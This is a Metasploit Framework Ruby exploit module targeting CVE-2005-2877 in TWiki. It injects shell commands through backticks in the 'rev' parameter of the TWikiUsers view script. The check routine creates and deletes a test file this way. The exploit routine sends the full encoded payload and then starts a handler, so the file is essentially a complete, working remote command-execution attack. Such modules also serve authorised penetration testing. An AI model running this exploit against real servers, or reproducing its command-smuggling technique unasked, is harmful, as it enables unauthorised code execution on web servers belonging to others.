##
# $Id: twiki_history.rb 8578 2010-02-21 20:31:09Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TWiki History TWikiUsers rev Parameter Command Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the history component of TWiki.
        By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers 
        script, an attacker can execute arbitrary OS commands.
      },
      'Author'         =>
        [
          'B4dP4nd4',   # original discovery
          'jduck'       # metasploit version
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 8578 $',
      'References'     =>
        [
          [ 'CVE', '2005-2877' ],
          [ 'OSVDB', '19403' ],
          [ 'BID', '14384' ],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
        ],
      'Privileged'     => true, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => '',
          'Space'       => 1024,
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Sep 14 2005',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
        ], self.class)
  end


  #
  # NOTE: This is not perfect, since it requires write access to the bin
  # directory. Unfortunately, detrmining the main directory isn't
  # trivial, or otherwise I would write there (required to be writable
  # per installation steps).
  #
  def check
    test_file = rand_text_alphanumeric(8+rand(8))
    cmd_base = datastore['URI'] + '/view/Main/TWikiUsers?rev='
    test_url = datastore['URI'] + '/' + test_file

    # first see if it already exists (it really shouldn't)
    res = send_request_raw({
        'uri' => test_url
      }, 25)
    if (not res) or (res.code != 404)
      print_error("WARNING: The test file exists already!")
      return Exploit::CheckCode::Safe
    end

    # try to create it
    print_status("Attempting to create #{test_url} ...")
    rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
    res = send_request_raw({
        'uri' => cmd_base + Rex::Text.uri_encode(rev)
      }, 25)
    if (not res) or (res.code != 200)
      return Exploit::CheckCode::Safe
    end

    # try to run it, 500 code == successfully made it
    res = send_request_raw({
        'uri' => test_url
      }, 25)
    if (not res) or (res.code != 500)
      return Exploit::CheckCode::Safe
    end
    
    # delete the tmp file
    print_status("Attempting to delete #{test_url} ...")
    rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'
    res = send_request_raw({
        'uri' => cmd_base + Rex::Text.uri_encode(rev)
      }, 25)
    if (not res) or (res.code != 200)
      print_error("WARNING: unable to remove test file (#{test_file})")
    end

    return Exploit::CheckCode::Vulnerable
  end


  def exploit

    rev = rand_text_numeric(1+rand(5))
    rev << ' `' + payload.encoded + '`#'
    query_str = datastore['URI'] + '/view/Main/TWikiUsers'
    query_str << '?rev='
    query_str << Rex::Text.uri_encode(rev)

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'        => query_str,
    }, 25)

    if (res and res.code == 200)
      print_status("Successfully sent exploit request")
    else
      raise RuntimeError, "Error sending exploit request"
    end

    handler
  end

end